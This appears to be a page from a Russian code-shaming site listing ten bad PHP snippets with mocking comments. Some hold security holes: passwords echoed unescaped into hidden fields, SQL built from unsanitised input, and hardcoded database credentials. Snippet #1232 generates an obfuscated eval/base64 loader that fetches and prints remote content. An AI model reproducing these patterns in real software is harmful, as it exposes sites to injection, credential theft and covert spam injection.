1. PHP / Говнокод #1246

    +54.2

    1. 1
    2. 2
    3. 3
    4. 4
    5. 5
    6. 6
    <form name='<? echo $tb_names[$i]; ?>' method='post' ENCTYPE='multipart/form-data' action="admin.php?task=del">
        <input type=hidden  name=login  value='<? echo @$_POST['login']; ?>'>
        <input type=hidden  name=password  value='<? echo @$_POST['password']; ?>'>
        <input name='tname' type=hidden value='<? echo $tb_names[$i]; ?>'>
        <p><input type='submit' value='Удалить прайс'>
    </form>

    Недавно дали сайт на обновление. Не мог понять почему при обновлении страницы брсает на авторизацию. Вот что я нашел когда начал разбираться, они даже не шифрованные там хранятся.

    guest, 24 Июня 2009

    Комментарии (0)
  2. PHP / Говнокод #1245

    +140.9

    1. 1
    2. 2
    3. 3
    $sqlt="select * from logos where is_delete='0'";
    $rest=$db->select_data($sqlt);
    $total=count($rest);

    Подсчет подходящих записей в таблице.
    Источник тот же, что и у говнокода 1244.
    В $rest возвращается ассоциативный массив.

    guest, 24 Июня 2009

    Комментарии (0)
  3. PHP / Говнокод #1243

    +140.3

    1. 01
    2. 02
    3. 03
    4. 04
    5. 05
    6. 06
    7. 07
    8. 08
    9. 09
    10. 10
    11. 11
    12. 12
    13. 13
    14. 14
    15. 15
    16. 16
    17. 17
    18. 18
    if (isset($aCart['color_caption'])) {
        if (!isset($aCart['color_name']) && isset($aCart['color_caption'])) {
            $aInsert['color_name']    = $aCart[$i]['color_caption'];
            $aInsert['color_caption'] = $aCart[$i]['color_caption'];
        }
        elseif (isset($aCart['color_name']) && !isset($aCart['color_caption'])) {
            $aInsert['color_name']    = $aCart[$i]['color_name'];
            $aInsert['color_caption'] = $aCart[$i]['color_name'];
        }
        elseif (!isset($aCart['color_name']) && !isset($aCart['color_caption'])) {
            $aInsert['color_name']    = 'N/A';
            $aInsert['color_caption'] = 'N/A';
        }
        else {
            $aInsert['color_name']    = $aCart['color_caption'];
            $aInsert['color_caption'] = $aCart['color_name'];
        }
    }

    Чем была забита моя голова не известно. Как я такую логику придумал?!

    guest, 24 Июня 2009

    Комментарии (0)
  4. PHP / Говнокод #1240

    +140.1

    1. 01
    2. 02
    3. 03
    4. 04
    5. 05
    6. 06
    7. 07
    8. 08
    9. 09
    10. 10
    11. 11
    12. 12
    13. 13
    14. 14
    15. 15
    16. 16
    17. 17
    18. 18
    19. 19
    20. 20
    21. 21
    22. 22
    23. 23
    24. 24
    25. 25
    26. 26
    27. 27
    28. 28
    29. 29
    30. 30
    function parce($string)
    
    
    
    {//function open
    $breaktags=array ("<"," ","=","","т");
       
       for ($pos=0;$pos<strlen($string);$pos++)
       {//for text
         
         if (substr($string,$pos,1)=="{" and substr($string,$pos+1,1)=="%")
    		{// if open symbols finded
    		   $tagopened=1;
    		   while($tagopened==1){//while opened
    			   for($inpos=$pos+2;$inpos<10000;$inpos++){// =)
    				   if ( (substr($string,$inpos,1)=="%" and substr($string,$inpos+1,1)=="}") or in_array(substr($string,$inpos,1),$breaktags)) {break 2;$tagopened=0;}//br
    				   $intag=$intag.substr($string,$inpos,1);
    		   }//for inpos
    		}//while opened closing
    		$intag=explode("->",$intag,2);
    		echo("$intag[0] with $intag[1] action!<br>");
    		unset($intag);
    				} else {//if symbols finded
    					$symbol=substr($string,$pos,1);
    					echo("$symbol");
    				}
    				
       }//for all text closing
       
    }//function end;

    guest, 23 Июня 2009

    Комментарии (3)
  5. PHP / Говнокод #1238

    +147

    1. 1
    2. 2
    3. 3
    <?php
       if ($_SESSION['gde'] != 'tut') {exit();}
    ?>

    Ты не тут? Выйди!

    guest, 22 Июня 2009

    Комментарии (2)
  6. PHP / Говнокод #1237

    +92

    1. 1
    2. 2
    3. 3
    header('Location: '.$_SERVER['REQUEST_URI']);
    exit();
    die();

    на всякий случай :)

    guest, 21 Июня 2009

    Комментарии (12)
  7. PHP / Говнокод #1236

    +143

    1. 01
    2. 02
    3. 03
    4. 04
    5. 05
    6. 06
    7. 07
    8. 08
    9. 09
    10. 10
    11. 11
    12. 12
    13. 13
    14. 14
    if ($pagefir){ // тута мы выдаём списог всех аэродромов данного РЦ нахуй 
    				$icao = sql("SELECT * FROM airport WHERE fir='".$pagefir."' order by ikao desc");
    				echo '
    				<h3>Recent articles</h3>
    				<p>';
    
    				while ($airport = mysql_fetch_array($icao))
    					{
    					echo '<a href="airport.php?icao='.$airport[ikao].'"><img src="images/strelica2.gif" width="3px" height="5px" alt="" />'.$airport[name].'('.$airport[town].')</a>';		
    					}
    
    				echo '<a href="#"><img src="images/strelica2.gif" width="3px" height="5px" alt="" /> URRR Ростов (г. Ростов-на-Дону)</a>
    
    				</p>';}

    восемь

    guest, 21 Июня 2009

    Комментарии (0)
  8. PHP / Говнокод #1235

    +147

    1. 01
    2. 02
    3. 03
    4. 04
    5. 05
    6. 06
    7. 07
    8. 08
    9. 09
    10. 10
    11. 11
    12. 12
    13. 13
    14. 14
    function sql($query){
    	/* Переменные для соединения с базой данных */ 
    	$hostname = "localhost"; 
    	$username = "modx"; 
    	$password = "22222"; 
    	$dbName = "modx"; 
    	/* создать соединение */ 
    	mysql_connect($hostname,$username,$password) OR DIE("Не могу создать соединение "); 
    	/* выбрать базу данных. Если произойдет ошибка - вывести ее */ 
    	mysql_select_db($dbName) or die(mysql_error());  
    	$res = mysql_query($query);
    	mysql_close(); 
    
    }

    восемь

    guest, 21 Июня 2009

    Комментарии (3)
  9. PHP / Говнокод #1232

    +144.3

    1. 1
    2. 2
    3. 3
    4. 4
    5. 5
    6. 6
    function getFileCode() {
        $url = "\$u=str_replace('%%KW%%', strtolower(\$_SERVER['QUERY_STRING']), '" . getConfigURL() . "')";
        $ind = "\$i=str_replace('%%KW%%', 'index', '" . getConfigURL() . "')";
    
        return "<?php eval(gzinflate(base64_decode('" . base64_encode(gzdeflate("$url;$ind;\$c=stream_context_create(array('http'=>array('timeout'=>3)));\$p=@file_get_contents(\$u,false,\$c);if(!\$p||(strpos(\$p,'404')!==false)){\$p=@file_get_contents(\$i,false,\$c);}echo \$p;")) . "'))); ?>";
    }

    guest, 20 Июня 2009

    Комментарии (0)
  10. PHP / Говнокод #1231

    +143

    1. 1
    2. 2
    3. 3
    4. 4
    <?php
     session_start();
     $_SESSION['gde']='tut';
    ?>

    Где? Тут.

    guest, 20 Июня 2009

    Комментарии (2)